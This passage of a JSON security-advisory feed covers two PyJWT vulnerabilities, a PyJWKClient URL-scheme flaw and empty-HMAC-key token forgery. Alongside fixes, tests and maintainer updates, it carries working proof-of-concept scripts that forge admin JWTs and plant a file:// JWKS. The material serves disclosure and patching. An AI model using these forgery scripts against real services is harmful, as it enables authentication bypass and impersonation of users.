is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn't allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI '{self.uri}' has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient('data:application/json,{\"keys\":[]}')\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself — the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class\n\n## Credit\n\nReported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.","status":"published","published":"2026-06-15T19:28:41Z","modified":"2026-07-31T22:13:16Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-441","CWE-918"],"updated_at":"2026-11-02T14:40:55.903445Z"},{"id":"GHSA-pxh4-856f-4h89","title":"PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery","description":"### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected versions\n\n`PyJWT` (PyPI package `pyjwt`) `\u003c= 2.13.0`, current `master` at commit\n`7144e4534c34810f4525dc4578a32addd8212cff`. The string/bytes secret path is\nalready guarded in 2.13.0; the JWK/JWKS path is not.\n\n### Privilege required\n\nUnauthenticated. Any party who can reach a JWT-verifying endpoint of an\napplication that verifies via a `PyJWK` / `PyJWKSet` / `PyJWKClient` whose oct\nkey has an empty `k` can forge tokens with arbitrary claims.\n\nPreconditions: the verifier resolves the HMAC key from a JWK/JWKS whose oct\nentry carries an empty `k`. This occurs when the signing secret is sourced from\nan unset environment variable / unset config row / key-finder fallback that\nbase64url-encodes `b\"\"` into the published JWKS, or when the application trusts a\nJWKS containing such an entry. The equivalent unset-secret case for the\nstring-secret API (`jwt.decode(token, key=\"\")`) is already rejected in 2.13.0;\nthe JWK route is the remaining reachable surface for the same misconfiguration.\n\n### Vulnerable code\n\n`jwt/algorithms.py`, `HMACAlgorithm.from_jwk` (line 380):\n\n```python\n@staticmethod\ndef from_jwk(jwk: str | JWKDict) -\u003e bytes:\n    try:\n        if isinstance(jwk, str):\n            obj: JWKDict = json.loads(jwk)\n        elif isinstance(jwk, dict):\n            obj = jwk\n        else:\n            raise ValueError\n    except ValueError:\n        raise InvalidKeyError(\"Key is not valid JSON\") from None\n\n    if obj.get(\"kty\") != \"oct\":\n        raise InvalidKeyError(\"Not an HMAC key\")\n\n    return base64url_decode(obj[\"k\"])   # \u003c-- empty k -\u003e b\"\", no rejection\n```\n\nContrast the sibling `prepare_key`, which DID get the guard (lines 325-329):\n\n```python\ndef prepare_key(self, key: str | bytes) -\u003e bytes:\n    key_bytes = force_bytes(key)\n\n    if len(key_bytes) == 0:\n        raise InvalidKeyError(\"HMAC key must not be empty.\")\n```\n\nIn `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key\nmaterial directly, bypassing `prepare_key`, and the length warning is non-fatal\nby default:\n\n```python\n        if isinstance(key, PyJWK):\n            if alg != key.algorithm_name:\n                raise InvalidAlgorithmError(\n                    f\"Token algorithm {alg!r} does not match the key's \"\n                    f\"algorithm {key.algorithm_name!r}\"\n                )\n            alg_obj = key.Algorithm\n            prepared_key = key.key            # from_jwk output (b\"\"), prepare_key not run\n        else:\n            try:\n                alg_obj = self.get_algorithm_by_name(alg)\n            except NotImplementedError as e:\n                raise InvalidAlgorithmError(\"Algorithm not supported\") from e\n            prepared_key = alg_obj.prepare_key(key)\n\n        key_length_msg = alg_obj.check_key_length(prepared_key)\n        if key_length_msg:\n            if effective_options.get(\"enforce_minimum_key_length\", False):\n                raise InvalidKeyError(key_length_msg)\n            else:\n                warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4)  # default: warn only\n\n        if not alg_obj.verify(signing_input, prepared_key, signature):  # verify with b\"\" succeeds\n            raise InvalidSignatureError(\"Signature verification failed\")\n```\n\n`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a\n`{\"kty\":\"oct\",\"k\":\"\"}` JWK yields `PyJWK.key == b\"\"`. `PyJWKSet` and\n`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the\nJWKS-over-HTTP resolution route is affected identically.\n\nThe 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM\nhardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix\n(GHSA-jq35-7prp-9v3f), and the test suite has\n`test_hmac_prepare_key_rejects_empty_key` plus\n`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty\nJSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the\nuntested sibling path this report closes.\n\n### How the attacker input reaches the sink\n\nAn unauthenticated HTTP client controls the bearer token entirely: its `kid`\nselects the empty-`k` oct JWK, and its signature is computed locally with the\nempty key. The token flows request header -\u003e `PyJWKClient.get_signing_key_from_jwt`\n(kid resolution against the trusted JWKS) -\u003e `jwt.decode` with the resolved\n`PyJWK` -\u003e `_verify_signature` -\u003e `HMACAlgorithm.verify(signing_input, b\"\", sig)`.\nNo secret,\ncredential, or prior session is required; the only server-side precondition is a\nJWKS oct entry with an empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -\u003e `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\")   # UNSET at runtime -\u003e \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n    return jsonify({\"keys\": [{\n        \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n        \"kid\": \"auth-signing-2026\",\n        \"k\": b64u(SIGNING_SECRET.encode()),   # empty secret -\u003e k == \"\"\n    }]})\n\nif __name__ == \"__main__\":\n    app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n    auth = request.headers.get(\"Authorization\", \"\")\n    if not auth.startswith(\"Bearer \"):\n        return None, \"missing bearer token\"\n    token = auth.split(\" \", 1)[1]\n    try:\n        signing_key = jwks_client.get_signing_key_from_jwt(token)  # resolves by kid\n        claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n    except Exception as e:\n        return None, \"invalid token: %s\" % type(e).__name__\n    return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n    claims, err = authenticate()\n    if err:\n        return jsonify({\"error\": err}), 401\n    if claims.get(\"role\") != \"admin\":\n        return jsonify({\"error\": \"forbidden\"}), 403\n    return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n                    \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n    app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(',',':')).encode())+\".\"+b64u(json.dumps(payload,separators=(',',':')).encode())\nkey = sys.argv[1].encode() if len(sys.argv)\u003e1 else b\"\"   # empty key\nsig=hmac.new(key, si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v \u0026\u0026 ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py \u0026 ) ; ./v/bin/python api.py \u0026\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n  \u003c-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -\u003e reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n  \u003c-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n  \u003c-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n  \u003c-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -\u003e now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n  \u003c-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n  with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n  yielding full impersonation and privilege escalation on any endpoint gated by\n  such tokens.\n- Reachable through the documented JWKS verification API\n  (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n  string-secret path already rejects in 2.13.0, leaving the JWK path as an\n  asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n    raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n    raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n\u003e Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","status":"published","published":"2026-10-22T15:48:04Z","modified":"2026-10-22T15:48:05Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T14:41:34.690842Z"}],"nvd":[{"id":"CVE-2026-48522","description":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.","status":"published","published":"2026-05-28T16:16:29.15Z","modified":"2026-10-26T13:10:00.14Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-441","CWE-918"],"updated_at":"2026-11-02T14:12:21.244426Z"}],"osv":[{"id":"BELL-CVE-2026-48522","status":"published","published":"2026-06-02T06:11:45.790787Z","modified":"2026-06-23T07:15:04.338305139Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:28:24.391068Z"},{"id":"CVE-2026-48522","title":"PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes","description":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.","status":"published","published":"2026-05-28T15:00:30.186Z","modified":"2026-10-28T02:31:07.254399313Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-441","CWE-918"],"updated_at":"2026-11-02T15:45:06.701612Z"},{"id":"DEBIAN-CVE-2026-48522","description":"PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.","status":"published","published":"2026-05-28T16:16:29.15Z","modified":"2026-10-27T09:47:43.408072859Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:56.444225Z"},{"id":"GHSA-993g-76c3-p5m4","title":"PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes","description":"\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain — verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}\n```\n\n## Cross-library evidence — PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn't allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI '{self.uri}' has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient('data:application/json,{\"keys\":[]}')\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself — the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class\n\n## Credit\n\nReported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.","status":"published","published":"2026-06-15T19:28:41Z","modified":"2026-09-10T03:50:49.179286182Z","cvss":[{"version":"3.1","score":4.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-441","CWE-918"],"updated_at":"2026-11-02T15:46:43.524801Z"},{"id":"GHSA-pxh4-856f-4h89","title":"PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery","description":"### Summary\n\n`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is\nthe empty string and returns a zero-length key without raising. When a token is\nthen verified with that key object (a `PyJWK`, or a `PyJWK` resolved by\n`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes\n`HMAC(key=b\"\", signing_input)` and accepts any token an attacker forged with the\nsame empty key. The attacker needs no secret knowledge: they reproduce the digest\nlocally with an empty key and set the token's `kid` to the empty-`k` JWK.\n\nThe empty-key rejection that `HMACAlgorithm.prepare_key` performs for\nstring/bytes secrets (added in 2.13.0) was never propagated to the sibling\n`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under\ndefault decode options this path only emits an `InsecureKeyLengthWarning`, not an\nerror, so verification still succeeds. This is the same \"empty/nil HMAC key is\naccepted by verify\" defect the JWT ecosystem is currently closing library-side:\nfast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a\nlibrary-side reject-empty-HMAC-key precondition.\n\n### Affected 